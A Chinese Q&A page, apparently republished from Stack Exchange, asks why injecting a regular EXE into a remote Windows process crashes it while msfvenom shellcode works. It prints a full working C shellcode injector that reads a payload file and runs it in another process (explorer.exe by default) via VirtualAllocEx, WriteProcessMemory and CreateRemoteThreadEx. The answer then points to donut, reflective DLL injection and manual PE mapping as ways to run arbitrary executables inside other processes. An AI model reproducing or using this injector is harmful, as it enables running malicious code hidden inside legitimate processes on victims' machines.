You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何向远程进程注入常规exe会导致进程崩溃?

进程注入中注入常规EXE文件导致目标进程崩溃的问题

现象

  • 注入msfvenom生成的shellcode文件到任意进程,程序运行正常,达到预期效果;
  • 注入任意常规.exe文件到同一进程时,目标进程每次都会崩溃。

异常细节

注入器返回执行成功,字节已通过Process Hacker确认成功复制到目标进程,但调用CreateRemoteThreadEx()返回有效ThreadID的情况下,目标进程仍会崩溃。

环境说明

使用64位Microsoft C/C++编译器编译的64位注入器,向64位进程注入64位代码,不存在位数不匹配问题。

完整代码

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
#include <fileapi.h>

#define okay(msg, ...) printf("[+] " msg " \n", ##__VA_ARGS__)
#define fail(msg, ...) printf("[-] " msg " \n", ##__VA_ARGS__)
#define info(msg, ...) printf("[!] " msg " \n", ##__VA_ARGS__)

#define MAX_SHELLCODE_SIZE 4096

DWORD GetShellCode(LPVOID out) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    
    hFile = CreateFileA(".\\payload.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        info("Unable to open payload file");
        return 0;
    }
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    if (fileSize == INVALID_FILE_SIZE) {
        info("Unable to get payload file size");
        CloseHandle(hFile);
        return 0;
    }
    
    DWORD bytesRead;
    BOOL bSuccess = ReadFile(hFile, out, fileSize, (LPDWORD)&bytesRead, NULL);
    if (!bSuccess) {
        info("Unable to read payload file");
        CloseHandle(hFile);
        return 0;
    }
    
    CloseHandle(hFile);
    return bytesRead;
}

DWORD GetTargetID(const char* pName) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pEntry;
    DWORD pID = 0;
    
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    
    pEntry.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapshot, &pEntry) == FALSE) {
        CloseHandle(hSnapshot);
        return 0;
    }
    
    do {
        if (strcmp(pName, pEntry.szExeFile) == 0) {
            pID = pEntry.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &pEntry));
    
    CloseHandle(hSnapshot);
    return pID;
}

int main(int argc, char *argv[]) {
    DWORD pID = 0, tID = 0;
    HANDLE pHandle;
    HANDLE tHandle;
    LPVOID xBuffer;
    
    if (argc < 2) {
        pID = GetTargetID("explorer.exe");
    } else {
        pID = GetTargetID(argv[1]);
        if (pID == 0) {
            info("Injector was unable to find the process you specified.");
            return EXIT_FAILURE;
        }
    }
    
    UCHAR shellcode[MAX_SHELLCODE_SIZE] = {0};
    DWORD codeSize = GetShellCode(shellcode);
    if (codeSize == 0) {
        fail("Failed to get shellcode from payload file.");
        return EXIT_FAILURE;
    } else {
        okay("Payload Size found : %ld", codeSize);
    }
    
    info("Injection Started. Opening remote process by ID: %ld ...", pID);
    pHandle = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, pID);
    if (pHandle == NULL) {
        fail("Unable to open remote process. Error: (%ld)", GetLastError());
    } else {
        okay("Successfully opend the remote process with provided access.");
        info("Allocating %ld bytes of memory space to the target process.", codeSize); 
        xBuffer = VirtualAllocEx(pHandle, NULL, codeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
        if (xBuffer == NULL) {
            fail("Unable to allocate virtual memory in the target process. Error: (%ld)", GetLastError());
        } else {
            okay("Successfully allocated %ld bytes virtual memory space in the target process.", codeSize);
            int len = 0;
            info("Attempting to write shellcode into the allocated space (Address : 0x%p)", xBuffer);
            BOOL wrtSuccess = WriteProcessMemory(pHandle, xBuffer, (LPCVOID)shellcode, (SIZE_T)codeSize, (SIZE_T*)&len);
            if (!wrtSuccess) {
                fail("Unable to write shellcode to the allocated memory of the target process. Error: (%ld)", GetLastError());
            } else {
                okay("Successfully copied %d bytes into the the target process.", len);
                DWORD oldProtection;
                BOOL bSuccess = VirtualProtectEx(pHandle, xBuffer, (SIZE_T)codeSize, PAGE_EXECUTE, &oldProtection);
                if (!bSuccess) {
                    fail("Unable to change memory page protection status. Error: (%ld)", GetLastError());
                } else {
                    info("Attempting to start remote thread with the copied shellcode");
                    tHandle = CreateRemoteThreadEx(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)xBuffer, NULL, 0, 0, &tID);
                    if (tHandle == NULL) {
                        fail("Unable to create thread with the copied shellcode in the target process. Error: (%ud)", GetLastError());
                    } else {
                        okay("Injection Successfull. Executed remote shellcode (ThreadID: %ld)", tID);
                        CloseHandle(tHandle);
                    }
                }
            }
        }
        CloseHandle(pHandle);
    }
    return EXIT_SUCCESS;
}   

原因分析

  1. EXE并非可直接执行的裸机代码
    msfvenom生成的shellcode是位置无关的裸机机器码,可以直接从起始地址开始执行;而常规EXE文件包含PE头、节表、导入表等复杂结构,文件开头并不是可执行的入口代码。直接把整个EXE写入目标进程内存并从起始地址执行,相当于让CPU执行PE头的二进制数据,必然触发非法指令或内存访问错误,导致进程崩溃。

  2. 缺少PE加载器的初始化步骤
    EXE正常运行需要系统加载器完成一系列工作:解析PE头、加载依赖DLL、重定位内存地址、初始化导入表等。直接注入整个EXE文件,没有这些加载步骤,代码中的内存引用(比如全局变量、函数调用)都是基于原EXE的预期内存布局,在目标进程中完全不匹配,执行时会访问无效内存。

  3. 线程入口的上下文不匹配
    CreateRemoteThreadEx的线程入口要求是符合标准函数调用约定的函数地址,而EXE的真实入口点(比如main或_start)依赖加载器初始化的环境(命令行参数、进程环境块PEB等),直接调用会因为缺少必要上下文而崩溃。

解决方向

如果要注入常规EXE的功能,不能直接注入整个EXE文件,可行方式包括:

  • 将EXE转换为位置无关的shellcode:使用专门工具(如donut)把PE文件转换成可直接注入执行的shellcode;
  • 反射式DLL注入:将EXE逻辑封装为DLL,注入DLL并调用导出函数,利用系统DLL加载机制处理依赖和重定位;
  • 手动模拟PE加载:在目标进程中解析注入的PE文件,手动处理节加载、重定位、导入表解析等步骤,再跳转到真实入口点执行(实现复杂度较高)。

内容的提问来源于stack exchange,提问作者Tamonash Gupta

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.02 13:24:59